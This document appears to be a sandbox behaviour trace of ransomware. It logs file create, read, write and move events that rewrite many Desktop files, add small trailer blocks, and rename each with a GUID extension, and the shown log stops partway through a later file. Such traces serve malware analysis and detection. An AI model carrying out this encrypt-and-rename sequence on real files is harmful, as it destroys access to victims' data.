File	Create	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 63232, size_out = 63232	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 63269	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, destination_filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 101304, size_out = 101304	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 101333	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf, destination_filename = C:\Users\FD1HVy\Desktop\K2N8lD.swf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 69395, size_out = 69395	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 69429	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf, destination_filename = C:\Users\FD1HVy\Desktop\N5glZ_ot2BPg.swf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 21111, size_out = 21111	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 21141	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt, destination_filename = C:\Users\FD1HVy\Desktop\NVChGlevkoRjEh-4.ppt.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 80836, size_out = 80836	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 80869	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv, destination_filename = C:\Users\FD1HVy\Desktop\QsFi7A0Ff-4Zif40.flv.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 43130, size_out = 43130	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 43157	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv, destination_filename = C:\Users\FD1HVy\Desktop\rqNverwPZv42JV.flv.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 38675, size_out = 38675	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 38709	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf, destination_filename = C:\Users\FD1HVy\Desktop\SGkLqISAYkg22NMe.swf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 2222, size_out = 2222	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 2261	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png, destination_filename = C:\Users\FD1HVy\Desktop\T8ss-NNC6a.png.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 85437, size_out = 85437	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 85461	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv, destination_filename = C:\Users\FD1HVy\Desktop\tps2Xi4Z_o.flv.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 86259, size_out = 86259	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 86293	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4, destination_filename = C:\Users\FD1HVy\Desktop\Um03CTlTx2.mp4.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 88771, size_out = 88771	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 88805	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3, destination_filename = C:\Users\FD1HVy\Desktop\UWyo BXoBgCXp.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 83266, size_out = 83266	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 83301	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a, destination_filename = C:\Users\FD1HVy\Desktop\vPNd5r.m4a.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 77914, size_out = 77914	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 77941	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc, destination_filename = C:\Users\FD1HVy\Desktop\WngvlI9HhGNFIHt.doc.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 14441, size_out = 14441	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 14469	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4, destination_filename = C:\Users\FD1HVy\Desktop\XLMOBIDgt-65GJKBZs.mp4.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 47352, size_out = 47352	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 47381	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\yBv.jpg, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\yBv.jpg, destination_filename = C:\Users\FD1HVy\Desktop\yBv.jpg.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 60753, size_out = 60753	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 60789	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf, destination_filename = C:\Users\FD1HVy\Desktop\za7tguGWEH8Un6nT2.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 30389, size_out = 30389	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 30421	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\LEC y1M\1XiaHqRLQcN.jpg, size = 4	1	Fn Data
